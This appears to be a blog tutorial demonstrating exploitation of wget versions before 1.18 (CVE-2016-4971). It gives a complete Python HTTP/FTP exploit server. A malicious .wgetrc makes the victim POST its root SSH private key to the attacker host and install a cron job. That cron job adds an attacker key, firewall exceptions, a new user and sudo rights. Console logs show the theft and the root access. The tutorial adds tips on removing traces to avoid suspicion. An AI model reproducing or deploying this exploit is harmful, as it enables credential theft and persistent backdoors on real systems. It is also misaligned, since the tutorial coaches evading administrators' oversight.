This time we will see how dangerous it can be not to have our software updated, we will show how it is possible to get root shell on a client that connects to our server using an outdated version of wget, specifically wget < 1.18.
To successfully carry out the attack, we need a web/ftp server. The vulnerability lies in the fact that when wget connects via http and a 301 redirect is made to an ftp, wget saves the ftp file to disk regardless of the file requested in the original http request. If that file is the wget config, we can make it send us a specific file in subsequent connections and save what we send it to a certain location on disk.
We are not going to install complex http/ftp servers, we will download the necessary libraries in python and write our own, very simple but they will serve the purpose.
pip install pyftpdlib
We generate the wget config file in such a way that it serves us the root private key and sets up a cronjob:
cd wgetXploit
echo “post_file = /root/.ssh/id_rsa” > .wgetrc
echo “output_document = /etc/cron.d/kr0mJob” » .wgetrc
We prepare the file that wget will originally request:
We start our ftp server:
/usr/lib64/python2.7/site-packages/pyftpdlib/authorizers.py:240: RuntimeWarning: write permissions assigned to anonymous user.
RuntimeWarning)
[I 2016-11-02 22:33:08] >>> starting FTP server on 0.0.0.0:21, pid=26464 <<<
[I 2016-11-02 22:33:08] concurrency model: async
[I 2016-11-02 22:33:08] masquerade (NAT) address: None
[I 2016-11-02 22:33:08] passive ports: None
In another console, we write the script responsible for the http requests. When the request is made via GET, we will redirect it to our ftp where it can download the .wgetrc file. The second execution of wget will already be via POST, serving us the root private key and saving the content we pass it to a cronjob. This is because the second execution will apply the wget config that we passed it in the first step.
#!/usr/bin/env python
#
# Wget 1.18 < Arbitrary File Upload Exploit
# Dawid Golunski
# dawid( at )legalhackers.com
#
# http://legalhackers.com/advisories/Wget-Arbitrary-File-Upload-Vulnerability-Exploit.txt
#
# CVE-2016-4971
#
import SimpleHTTPServer
import SocketServer
import socket;
class wgetExploit(SimpleHTTPServer.SimpleHTTPRequestHandler):
def do_GET(self):
# This takes care of sending .wgetrc
print "We have a volunteer requesting " + self.path + " by GET :)\n"
if "Wget" not in self.headers.getheader('User-Agent'):
print "But it's not a Wget :( \n"
self.send_response(200)
self.end_headers()
self.wfile.write("Nothing to see here...")
return
print "Uploading .wgetrc via ftp redirect vuln. It should land in /root \n"
self.send_response(301)
new_path = '%s'%('ftp://anonymous@%s:%s/.wgetrc'%(FTP_HOST, FTP_PORT) )
print "Sending redirect to %s \n"%(new_path)
self.send_header('Location', new_path)
self.end_headers()
def do_POST(self):
# In here we will receive extracted file and install a PoC cronjob
print "We have a volunteer requesting " + self.path + " by POST :)\n"
if "Wget" not in self.headers.getheader('User-Agent'):
print "But it's not a Wget :( \n"
self.send_response(200)
self.end_headers()
self.wfile.write("Nothing to see here...")
return
content_len = int(self.headers.getheader('content-length', 0))
post_body = self.rfile.read(content_len)
print "Received POST from wget: \n\n---[begin]---\n %s \n---[eof]---\n\n" % (post_body)
print "Sending CronJob..."
self.send_response(200)
self.send_header('Content-type', 'text/plain')
self.end_headers()
self.wfile.write(ROOT_CRON)
return
HTTP_LISTEN_IP = '192.168.20.27'
HTTP_LISTEN_PORT = 80
FTP_HOST = '192.168.20.27'
FTP_PORT = 21
ROOT_CRON = "* * * * * root /bin/echo 'ssh-rsa AABBCCDDEEFFGGHHIIJJKKLLMMNNOOPPQQRRSSTTUUVVWWXXYYZZ kr0m@ASD' >> /root/.ssh/authorized_keys && /sbin/iptables -I INPUT 1 -s 192.168.20.27 -j ACCEPT && /sbin/iptables -I OUTPUT 1 -d 192.168.20.27 -j ACCEPT && /usr/sbin/useradd kr0m && /bin/echo 'kr0m ALL=(ALL:ALL) ALL' >> /etc/sudoers && /bin/echo 'kr0m:kr0mpass' | /usr/sbin/chpasswd \n"
handler = SocketServer.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), wgetExploit)
print "Ready? Is your FTP server running?"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
result = sock.connect_ex((FTP_HOST, FTP_PORT))
if result == 0:
print "FTP found open on %s:%s. Let's go then\n" % (FTP_HOST, FTP_PORT)
else:
print "FTP is down :( Exiting."
exit(1)
print "Serving wget exploit on port %s...\n\n" % HTTP_LISTEN_PORT
handler.serve_forever()
We start our http server:
Ready? Is your FTP server running?
FTP found open on 192.168.20.27:21. Let's go then
Serving wget exploit on port 80...
The client connects to us via http:
--2016-11-02 22:35:54-- http://192.168.20.27/ultraSecretPass
Connecting to 192.168.20.27:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: ftp://anonymous@192.168.20.27:21/.wgetrc [following]
--2016-11-02 22:35:54-- ftp://anonymous@192.168.20.27/.wgetrc
=> “.wgetrc”
Connecting to 192.168.20.27:21... connected.
Logging in as anonymous ... Logged in!
==> SYST ... done. ==> PWD ... done.
==> TYPE I ... done. ==> CWD not needed.
==> SIZE .wgetrc ... 68
==> PASV ... done. ==> RETR .wgetrc ... done.
2016-11-02 22:35:54 (6.07 MB/s) - “.wgetrc” saved [68]
We check on the client that the wget config has indeed been replaced. On the next connection, it will send us the content of the private key via POST and save whatever we send it to the indicated path:
post_file = /root/.ssh/id_rsa
output_document = /etc/cron.d/kr0mJob
We run wget for the second time:
--2016-11-02 22:36:27-- http://192.168.20.27/ultraSecretPass
Connecting to 192.168.20.27:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/plain]
Saving to: “/etc/cron.d/kr0mJob”
2016-11-02 22:36:27 (105 MB/s) - “/etc/cron.d/kr0mJob” saved [694]
In the console of our http-server script, we can see the content of the private key and how we sent the cronjob:
RX4 #
We have a volunteer requesting /ultraSecretPass by POST :)
Received POST from wget:
---[begin]---
-----BEGIN RSA PRIVATE KEY-----
PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--
PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--
PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--
PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--
PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--
-----END RSA PRIVATE KEY-----
---[eof]---
Sending CronJob...
We wait at least 1 minute and we can already see how the cronjob has been executed with disastrous results.
The iptables rules have been applied:
Chain INPUT (policy DROP)
num target prot opt source destination
1 ACCEPT all -- 192.168.20.27 0.0.0.0/0
Chain OUTPUT (policy DROP)
num target prot opt source destination
1 ACCEPT all -- 0.0.0.0/0 192.168.20.27
The user has been added with the indicated password and the sudo file successfully altered:
$ id
uid=1001(kr0m) gid=1001(kr0m) groups=1001(kr0m)
[sudo] password for kr0m:
uid=0(root) gid=0(root) groups=0(root)
We delete the cronjob to avoid duplicating firewall rules and adding the key to root’s authorized_keys twice. We also delete the .wgetrc to avoid raising suspicions:
root@heaven:/# rm /root/.wgetrc
This attack is really effective but has several limitations:
- The wget must be executed by root in its home directory.
- The wget must be executed several times, either through a cronjob that the sysadmin configured beforehand or by convincing them to execute the download in some way.
- The cron service must be active.
- Sudo must be installed.
- There must not be a previous .wgetrc, as if there were, our config file would be saved with the name .wgetrc.1, thwarting our plans.
- During the time it takes for the cronjob to execute, all connections made using wget by the user will fail until we delete the .wgetrc, which could raise suspicions.
Of course, it could be simplified by simply showing the private key and overwriting the authorized_keys with our pubkey. The list of requirements would decrease, but this tactic has two drawbacks:
- The original content of authorized_keys would be lost, so some connections may fail and the sysadmin may become suspicious.
- There may be firewall rules that block our access.
NOTE: If we know that wget will not be executed by the root user, we must adapt the script paths to show us the private key of the user in question and save our public key in the authorized_keys of the correct user.
I hope you enjoyed the article as much as I enjoyed conducting the tests :)